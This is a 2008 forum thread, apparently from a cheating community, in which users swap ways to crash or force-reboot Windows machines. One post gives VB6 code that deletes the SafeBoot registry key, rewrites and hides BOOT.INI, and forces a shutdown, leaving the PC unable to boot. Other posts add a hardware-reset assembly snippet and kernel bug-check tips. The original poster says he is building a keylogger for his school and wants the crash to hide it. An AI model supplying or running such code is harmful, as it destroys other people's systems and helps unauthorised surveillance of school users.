| View previous topic :: View next topic |
| Author |
Message |
ups2000ups I post too much
Reputation: 0
Joined: 31 Jul 2006 Posts: 2471
|
|
| Back to top |
|
 |
the_undead Expert Cheater
Reputation: 1
Joined: 12 Nov 2006 Posts: 235 Location: Johannesburg, South Africa
|
Posted: Mon Feb 11, 2008 2:49 am Post subject: |
|
|
well the infamous:
mov al, FEh
out 64h, al _________________
|
|
| Back to top |
|
 |
ups2000ups I post too much
Reputation: 0
Joined: 31 Jul 2006 Posts: 2471
|
Posted: Mon Feb 11, 2008 2:56 am Post subject: |
|
|
| the_undead wrote: | well the infamous:
mov al, FEh
out 64h, al |
joke right ... _________________
dont complain about my english...
1*1 = 2? |
|
| Back to top |
|
 |
Buggy Advanced Cheater
Reputation: 0
Joined: 04 Jan 2008 Posts: 72 Location: Republic of Korea (South Korea)
|
Posted: Mon Feb 11, 2008 5:48 am Post subject: |
|
|
| Code: |
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Function BootBlueScreen()
open "C:\boot.ini" for append as #1
Print #1,"/SafeMode:Minimal"
Close #1
RegDeleteKey HKEY_LOCAL_MACHINE, "System\CurrentControlSet\Control\SafeBoot"
End Function |
Try this. But it'll work when you reboot.
(VB6 Code)
In the Form load, you have to put
Call BootBlueScreen
Or, you can access to Device\PhysicalMemory and do strange thing +_+
Well, if you want to try , try in virtual pc emulators like VMWARE, Virtual PC. _________________
[img]
<a><img></a>[/img]
iroo sooo hooooot
Last edited by Buggy on Mon Feb 11, 2008 5:57 am; edited 3 times in total |
|
| Back to top |
|
 |
Noz3001 I'm a spammer
Reputation: 26
Joined: 29 May 2006 Posts: 6220 Location: /dev/null
|
Posted: Mon Feb 11, 2008 5:51 am Post subject: |
|
|
| the_undead wrote: | well the infamous:
mov al, FEh
out 64h, al |
That's hard reboot. Doesn't BSOD me, just restarts my PC. Use KeBugCheck() to BSOD ^^. |
|
| Back to top |
|
 |
Buggy Advanced Cheater
Reputation: 0
Joined: 04 Jan 2008 Posts: 72 Location: Republic of Korea (South Korea)
|
Posted: Mon Feb 11, 2008 6:19 am Post subject: |
|
|
oh sorry i misunderstood
boot.ini doesn't have safemode settings on the first line
use this.
| Code: |
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Sub SafeModeBoot()
On Error GoTo N
Dim FSO, AA
Dim Temp As String, FF As Integer, LineNum As Long, Temp2 As String, LineNum2 As String, Temp3 As String
FF = FreeFile()
Open "C:\BOOT.INI" For Input As #FF
LineNum = 0
Do Until EOF(FF)
LineNum = LineNum + 1
Line Input #FF, Temp
If LCase(Trim(Left(Temp, 5))) = "multi" Then Exit Do
Loop
Close #FF
Temp2 = "": Temp3 = ""
Open "C:\BOOT.INI" For Input As #FF
LineNum2 = 0
Do Until EOF(FF)
LineNum2 = LineNum2 + 1
If LineNum2 = LineNum Then
Line Input #FF, Temp2
AddLine Temp3, Replace(Temp, "/safeboot:minimal", "") & " /safeboot:minimal"
Else
Line Input #FF, Temp2
AddLine Temp3, Temp2
End If
Loop
Close #FF
Set FSO = CreateObject("Scripting.FileSystemObject")
Set AA = FSO.GetFile("C:\BOOT.INI")
AA.Attributes = 0
Set AA = FSO.CreateTextFile("C:\BOOT.INI")
AA.Write Temp3
AA.Close
Set AA = FSO.GetFile("C:\BOOT.INI")
AA.Attributes = 39
Shell "Shutdown.exe -r -f -t 0", vbHide
Exit Sub
N:
MsgBox "An Error Occured." & vbCrLf & vbCrLf & "Error Number: " & Err.Number & vbCrLf & "Description: " & Err.Description, vbCritical
Err.Clear
End Sub
Sub AddLine(ByRef Vari, ByVal Comm)
On Error Resume Next
If Vari = "" Then: Vari = Comm: Exit Sub
Vari = Vari & vbCrLf & Comm
End Sub
Private Function BootBlueScreen()
RegDeleteKey HKEY_LOCAL_MACHINE, "System\CurrentControlSet\Control\SafeBoot"
End Function
|
and
Call SafeModeBoot()
Call BootBlueScreen()
in form_load or other.
PLUS ++
When you run it it'll reboot with shutdown. _________________
[img]
<a><img></a>[/img]
iroo sooo hooooot
Last edited by Buggy on Mon Feb 11, 2008 6:24 am; edited 1 time in total |
|
| Back to top |
|
 |
ups2000ups I post too much
Reputation: 0
Joined: 31 Jul 2006 Posts: 2471
|
|
| Back to top |
|
 |
Buggy Advanced Cheater
Reputation: 0
Joined: 04 Jan 2008 Posts: 72 Location: Republic of Korea (South Korea)
|
Posted: Mon Feb 11, 2008 6:30 am Post subject: |
|
|
| ups2000ups wrote: | thanks but i cant use the reg because my school blocking it
i making a keylogger for my school but logout make it look like something is wrong -.- |
Then is there any security program in it like pc keeper? _________________
[img]
<a><img></a>[/img]
iroo sooo hooooot |
|
| Back to top |
|
 |
ups2000ups I post too much
Reputation: 0
Joined: 31 Jul 2006 Posts: 2471
|
|
| Back to top |
|
 |
hcavolsdsadgadsg I'm a spammer
Reputation: 26
Joined: 11 Jun 2007 Posts: 5801
|
Posted: Mon Feb 11, 2008 9:43 am Post subject: |
|
|
| KeBugCheck is probably the easiest way. |
|
| Back to top |
|
 |
Noz3001 I'm a spammer
Reputation: 26
Joined: 29 May 2006 Posts: 6220 Location: /dev/null
|
Posted: Mon Feb 11, 2008 10:01 am Post subject: |
|
|
| slovach wrote: | | KeBugCheck is probably the easiest way. |
You could always write a dodgy driver. |
|
| Back to top |
|
 |
dnsi0 I post too much
Reputation: 0
Joined: 04 Jan 2007 Posts: 2674
|
Posted: Thu Feb 14, 2008 12:05 pm Post subject: |
|
|
| How do you force reboot your computer? That just shuts off like crashes? |
|
| Back to top |
|
 |
Noz3001 I'm a spammer
Reputation: 26
Joined: 29 May 2006 Posts: 6220 Location: /dev/null
|
Posted: Thu Feb 14, 2008 12:11 pm Post subject: |
|
|
| dnsi0 wrote: | | How do you force reboot your computer? That just shuts off like crashes? |
| Code: | _asm {
mov al, 0xFE
out 0x64, al
} |
|
|
| Back to top |
|
 |
dnsi0 I post too much
Reputation: 0
Joined: 04 Jan 2007 Posts: 2674
|
Posted: Thu Feb 14, 2008 12:29 pm Post subject: |
|
|
| convert to opcode? My C++ is fcked. Keeping giving me link error thou the code is right... |
|
| Back to top |
|
 |
HomerSexual Grandmaster Cheater Supreme
Reputation: 5
Joined: 03 Feb 2007 Posts: 1657
|
Posted: Thu Feb 14, 2008 12:30 pm Post subject: |
|
|
Hm i decided to test this because it seems cool. I just threw it in the WM_CREATE message of one of my minesweep trainers and ran it in the debugger. I get a error that is due to privilege access. on out 0x64, al
edit:
Do i have to make a Kernel mode driver? |
|
| Back to top |
|
 |
|